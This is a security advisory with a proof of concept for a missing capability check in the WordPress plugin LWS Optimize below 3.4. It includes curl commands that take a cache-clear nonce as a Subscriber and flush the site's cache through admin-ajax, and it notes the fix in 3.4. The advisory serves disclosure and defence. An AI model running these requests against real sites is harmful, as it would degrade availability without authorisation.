LWS Optimize < 3.4 – Subscriber+ Cache Deletion | CVE 2026-16042

Description

The plugin does not perform a capability check on its cache-clearing actions, allowing any authenticated user, including Subscribers, to flush the site's caches and force repeated cache rebuilds.

Proof of Concept

Prerequisites: LWS Optimize <= 3.3.21 active; an attacker account at Subscriber level or higher (default self-registration if enabled).

1. Obtain a cache-clear nonce as the Subscriber. Log in as the Subscriber and load any front-end page (e.g. the homepage); the plugin's admin-bar script block is printed in the page footer for every logged-in user and contains the cache-clear nonces. Extract the value paired with the action lws_clear_fb_cache:

curl -s -b subscriber_cookies.txt "https://TARGET/" | grep -A1 'action: "lws_clear_fb_cache"' | grep -oE "[a-f0-9]{8,}"

(The same page also exposes nonces for lws_clear_opcache, lws_clear_html_fb_cache, lws_clear_style_fb_cache, and lws_clear_currentpage_fb_cache.)

2. Flush the whole cache with the Subscriber's cookie and nonce:

curl -s -b subscriber_cookies.txt "https://TARGET/wp-admin/admin-ajax.php" \
  -d "action=lws_clear_fb_cache&_ajax_nonce=<NONCE>"

Expected result (vulnerable, <= 3.3.21): {"code":"SUCCESS","data":"/"} (HTTP 200) - the entire file-based cache is deleted. Repeatedly invoking any of the cache-clear actions forces the site to rebuild its caches, degrading performance (transient availability impact), with no data disclosed or destroyed beyond the regenerable cache.

Fixed in 3.4: version 3.4 added a centralized capability gate requiring manage_options for these actions; the same Subscriber request then returns HTTP 403 {"code":"FORBIDDEN","message":"manage_options capability required"} and the cache is untouched.